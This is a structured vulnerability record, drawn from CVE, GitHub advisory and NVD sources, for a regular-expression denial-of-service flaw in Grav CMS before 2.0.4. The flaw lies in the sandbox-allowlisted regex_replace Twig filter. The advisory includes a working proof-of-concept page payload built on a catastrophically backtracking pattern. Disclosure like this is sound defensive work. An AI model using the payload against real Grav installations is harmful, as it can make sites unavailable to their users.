{"id":"CVE-2026-62237","aliases":["CVE-2026-62237","GHSA-37f3-6p89-6qr9"],"related":["CVE-2026-62672"],"kind":"vulnerability","state":"published","title":"Grav < 2.0.4 ReDoS via regex_replace in Sandbox","summary":"Grav before 2.0.4 contains a regular expression denial of service (ReDoS) vulnerability in the regex_replace filter and function, which are allowlisted in the Twig content sandbox. When Twig processing in page content is enabled (security.twig_content.process_enabled: true, disabled by default), an authenticated page editor can supply a catastrophically backtracking PCRE pattern that is passed directly to PHP's preg_replace(), causing unbounded CPU consumption and denial of service to the web server process.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Grav before 2.0.4 contains a regular expression denial of service (ReDoS) vulnerability in the regex_replace filter and function, which are allowlisted in the Twig content sandbox. When Twig processing in page content is enabled (security.twig_content.process_enabled: true, disabled by default), an authenticated page editor can supply a catastrophically backtracking PCRE pattern that is passed directly to PHP's preg_replace(), causing unbounded CPU consumption and denial of service to the web server process.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThe `regex_replace` filter and function are allowlisted in Grav's Twig content sandbox. When Twig processing in page content is enabled `security.twig_content.process_enabled: true`, authenticated page editors can supply a catastrophically backtracking PCRE pattern, causing unbounded CPU consumption and denying service to the entire web server process.\n\n---\n\n### Details\n\nThe Twig sandbox allowlists, defined in `system/config/security.yaml`, explicitly include `regex_replace` in both the filter and function permission lists:\n\n**Source: `system/config/security.yaml`**\n\n```yaml\ntwig_sandbox:\n  allowed_filters:\n    # ...\n    - regex_replace    #  user-controlled pattern allowed in sandbox\n  allowed_functions:\n    # ...\n    - regex_replace    #  same\n```\n\nThe underlying implementation passes the caller-controlled `$pattern` directly into PHP's `preg_replace()` without any pattern complexity validation:\n\n**Source: `system/src/Grav/Common/Twig/Extension/GravExtension.php:1317-1319`**\n\n```php\npublic function regexReplace($subject, $pattern, $replace, $limit = -1)\n{\n    return preg_replace($pattern, $replace, $subject, $limit);\n}\n```\n\nWhen `twig_content.process_enabled` is `true`, page body content is sandboxed but can use any allowlisted filter. An editor who embeds a catastrophic backtracking pattern causes the PCRE engine to enter exponential time complexity, consuming 100% CPU until the PHP process is killed or the request times out.\n\n**Conditions required**:\n1. `security.twig_content.process_enabled: true` (opt-in, `false` by default on fresh 2.0 installs)\n2. `security.twig_sandbox.enabled: true` (default) - the function is reachable under sandbox\n3. Attacker must have page edit access (authenticated contributor / editor role)\n\n---\n\n### PoC\n\n**Configuration prerequisite** - enable Twig in content:\n\n```yaml\n# user/config/security.yaml\ntwig_content:\n  process_enabled: true\n```\n\n**Payload** — embed in any Grav page body with `process: { twig: true }` in frontmatter:\n\n```\n---\ntitle: Test\nprocess:\n  twig: true\n---\n{{ 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab'|regex_replace('/^(a+)+$/', '') }}\n```\n\nOr as a function call in a page where the editor has Twig access:\n\n```twig\n{{ regex_replace('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab', '/^(a+)+$/', '') }}\n```\n\n**Result**: The PHP-FPM worker (or CLI server process) enters catastrophic PCRE backtracking. On a 2 GHz host, a 32-character string with the above pattern will exhaust one CPU core for seconds to minutes. With a slightly longer string, the time grows exponentially.\n\n---\n\n### Impact\n\n**Vulnerability type**: Regular Expression Denial of Service - ReDoS\n\n**Who is impacted**: Server availability. Any Grav installation where:\n- An editor-role account exists (or has been compromised), AND\n- The operator has enabled `twig_content.process_enabled: true`\n\nAn attacker with page-edit access can render the site unresponsive for all visitors by publishing a page with a catastrophic regex. On single-worker PHP configurations this is a complete outage. On multi-worker setups, multiple concurrent page renders of the malicious page can saturate all workers.\n\n---","format":"markdown","source":"ghsa"},{"lang":"es","text":"Grav anterior a 2.0.4 contiene una vulnerabilidad de denegación de servicio por expresión regular (ReDoS) en el filtro y la función regex_replace, que están en la lista blanca del sandbox de contenido Twig. Cuando el procesamiento Twig en el contenido de la página está habilitado (security.twig_content.process_enabled: true, deshabilitado por defecto), un editor de página autenticado puede proporcionar un patrón PCRE con retroceso catastrófico que se pasa directamente a preg_replace() de PHP, causando un consumo ilimitado de CPU y denegación de servicio al proceso del servidor web.","source":"nvd"}],"published":"2026-07-17T00:07:11.756Z","modified":"2026-10-24T20:10:00.137Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":6,"rating":"MEDIUM"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":6,"rating":"MEDIUM"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","rating":"MEDIUM"}],"cwes":["CWE-1333"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"2.0.4","status":"affected"},{"type":"semver","version":"2.0.4","status":"unaffected"}],"vendor":"getgrav","product":"grav","repo":"https://github.com/getgrav/grav","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.0.4"}],"ecosystem":"Packagist","package":"getgrav/grav","purl":"pkg:composer/getgrav/grav","source":"ghsa"}],"references":[{"url":"https://github.com/getgrav/grav/security/advisories/GHSA-37f3-6p89-6qr9","tags":["exploit","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.vulncheck.com/advisories/grav-redos-via-regex-replace-in-sandbox","tags":["third-party-advisory"],"sources":["cvelist","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62672","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/getgrav/grav/commit/907116268ad4f48be7472c57f64981918578599a","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/getgrav/grav","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/getgrav/grav/releases/tag/2.0.4","tags":["web"],"sources":["ghsa"]}],"credits":["gemstone-source","drpr0grammer"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-07-21T01:22:23.036Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-62237","url":"https://www.cve.org/CVERecord?id=CVE-2026-62237","licence":"CVE Terms of Use","modified":"2026-10-08T15:23:44.868Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-37f3-6p89-6qr9","url":"https://github.com/advisories/GHSA-37f3-6p89-6qr9","licence":"CC-BY-4.0","modified":"2026-09-17T16:45:06.372Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-62237","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62237","licence":"Public domain","modified":"2026-10-24T20:10:00.137Z"}],"updatedAt":"2026-11-25T22:59:28.465Z","epss":{"score":0.00301,"percentile":0.24544,"date":"2026-12-01T12:00:22.000Z"}}